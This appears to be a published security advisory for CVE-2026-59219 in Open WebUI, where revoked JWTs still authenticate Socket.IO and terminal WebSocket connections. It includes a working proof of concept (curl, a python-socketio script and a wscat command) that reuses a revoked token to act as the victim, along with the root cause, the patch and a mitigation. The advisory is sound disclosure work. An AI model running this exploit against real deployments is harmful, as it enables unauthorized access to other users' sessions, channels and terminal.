CVE-2026-59219: Open WebUI Insufficient Session Expiration on Realtime Endpoints
In Redis-backed Open WebUI deployments, signing out or triggering an OIDC back-channel logout correctly revokes a JWT for HTTP requests but has no effect on Socket.IO and terminal WebSocket…

The problem
Open WebUI added JWT revocation via Redis in v0.9.0. On sign-out, the token's jti is written to {prefix}:auth:token:{jti}:revoked. On OIDC back-channel logout, a revoked_at timestamp is written to {prefix}:auth:user:{id}:revoked_at. The HTTP auth dependency (get_current_user) checks both keys and returns 401 for revoked tokens.
The Socket.IO handlers (connect, user-join, join-channels, join-note) and the terminal WebSocket first-message auth called only decode_token(), which verifies the JWT signature and expiry but never touches Redis. A revoked token therefore continues to authenticate new realtime connections, populate SESSION_POOL as the victim, receive collaborative-note and channel messages, and pass terminal WebSocket auth, all while the same token is already rejected on every HTTP endpoint.
Proof of concept
A working proof-of-concept for CVE-2026-59219 in open-webui, with the exact payload below.
# Step 1: sign out (revokes the JWT in Redis — HTTP now returns 401)
curl -s -X POST https://target/ api/v1/auths/signout \
-H "Authorization: Bearer $VICTIM_JWT"
# Step 2: confirm HTTP is blocked
curl -s -o /dev/null -w "%{http_code}" https://target/api/v1/auths/ \
-H "Authorization: Bearer $VICTIM_JWT"
# -> 401
# Step 3: realtime auth still accepts the revoked token (vulnerable versions)
# Socket.IO user-join — Python example using the python-socketio client
python3 - <<'EOF'
import socketio
VICTIM_JWT = "<paste revoked token here>"
TARGET = "https://target"
sio = socketio.Client()
@sio.event
def connect():
print("[+] connected")
sio.emit("user-join", {"auth": {"token": VICTIM_JWT}})
@sio.on("user-list")
def on_user_list(data):
# Receiving user-list confirms the revoked token authenticated successfully
print("[+] authenticated as victim via revoked JWT:", data)
sio.disconnect()
sio.connect(TARGET, transports=["websocket"])
sio.wait()
EOF
# Terminal WebSocket — first message carries the revoked token as auth
# A successful lookup response (not 'Invalid token') confirms bypass
wscat -c "wss://target/ws/terminal" \
--header "Upgrade: websocket" \
--execute '{"token": "'"$VICTIM_JWT"'"}'The root cause is a missing revocation check in every non-HTTP authentication path. decode_token() only validates the JWT signature and the exp claim. It has no awareness of the Redis keys that record per-token (jti) or per-user (revoked_at) revocations.
The fix (commit 33b91bd) introduces is_token_revoked(redis, decoded), which checks both Redis revocation key patterns. All Socket.IO handlers (connect, user-join, join-channels, join-note) and the terminal WebSocket first-message auth now call this helper and disconnect/reject if it returns true.
The HTTP is_valid_token path is refactored to delegate to the same helper, so behavior there is unchanged. CWE-613 (Insufficient Session Expiration) applies: the session mechanism (Redis revocation) existed and worked correctly, but it was simply not wired to the realtime code paths.
The fix
Upgrade to open-webui 0.10.0. The patch wires is_token_revoked() into all Socket.IO connect/event handlers and the terminal WebSocket first-message auth, using the main app Redis instance where revocations are stored. No configuration change is required beyond upgrading.
If an immediate upgrade is not possible and you use Redis-backed JWT revocation, consider blocking WebSocket/Socket.IO upgrade requests at the reverse proxy layer as a temporary mitigation.
Reported by doge-woof.
Related research
- high · 7.7CVE-2026-59216CVE-2026-59216: Open WebUI Cross-User Code Execution via Unvalidated Socket.IO session_id
- high · 7.1CVE-2026-59714CVE-2026-59714: open-webui Cross-Channel Message Overwrite via Chat Completion API
- high · 7.3CVE-2026-59214CVE-2026-59214: Open WebUI Stored Web-Worker XSS via Pyodide Same-Origin Code Execution
- high · 8.1GitPython Argument Injection via Diffable.diff Enables Arbitrary File Overwrite